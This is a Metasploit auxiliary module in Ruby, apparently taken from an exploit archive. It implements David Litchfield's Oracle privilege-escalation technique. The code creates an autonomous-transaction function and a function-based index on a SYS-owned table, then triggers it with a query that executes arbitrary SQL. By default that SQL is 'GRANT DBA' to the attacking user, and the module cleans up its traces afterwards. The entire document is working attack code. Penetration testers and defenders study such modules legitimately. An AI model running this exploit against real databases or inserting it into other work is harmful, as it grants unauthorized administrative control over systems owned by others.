## https://sploitus.com/exploit?id=PACKETSTORM:180769
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB Privilege Escalation via Function-Based Index',
'Description' => %q{
This module will escalate an Oracle DB user to DBA by creating a
function-based index on a table owned by a more-privileged user.
Credits to David Litchfield for publishing the technique.
},
'Author' =>
[
'David Litchfield', # Vulnerability discovery and exploit
'Moshe Kaplan', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ],
],
'DisclosureDate' => '2015-01-21'))
register_options(
[
OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}" ]),
OptString.new('TABLE', [ true, 'Table to create the index on.', 'SYS.DUAL' ]),
])
end
def run
return unless check_dependencies
func_name = Rex::Text.rand_text_alpha(6..10)
create_function = <<-EOF
CREATE OR REPLACE FUNCTION #{func_name}
(FOO varchar) return varchar
deterministic authid current_user is
pragma autonomous_transaction;
begin
execute immediate '#{datastore['SQL'].gsub("'", "\\\\'")}';
commit;
return '';
end;
EOF
index_name = Rex::Text.rand_text_alpha(6..10)
param_value = Rex::Text.rand_text_alpha(2..6)
create_index = "CREATE INDEX #{index_name} ON " \
"#{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))"
trigger = "SELECT * FROM #{datastore['TABLE']}"
clean_index = "drop index #{index_name}"
clean_func = "drop function #{func_name}"
print_status('Running exploit...')
begin
print_status("Attempting to create function #{func_name}...")
prepare_exec(create_function)
print_status("Attempting to create index #{index_name}...")
prepare_exec(create_index)
print_status('Querying to trigger function...')
prepare_exec(trigger)
print_status('Cleaning up index...')
prepare_exec(clean_index)
print_status('Cleaning up function...')
prepare_exec(clean_func)
print_status('Exploit complete!')
rescue ::OCIError => e
print_error("Error! #{e.message}")
end
end
def prepare_exec(query)
print_status(query)
super
end
end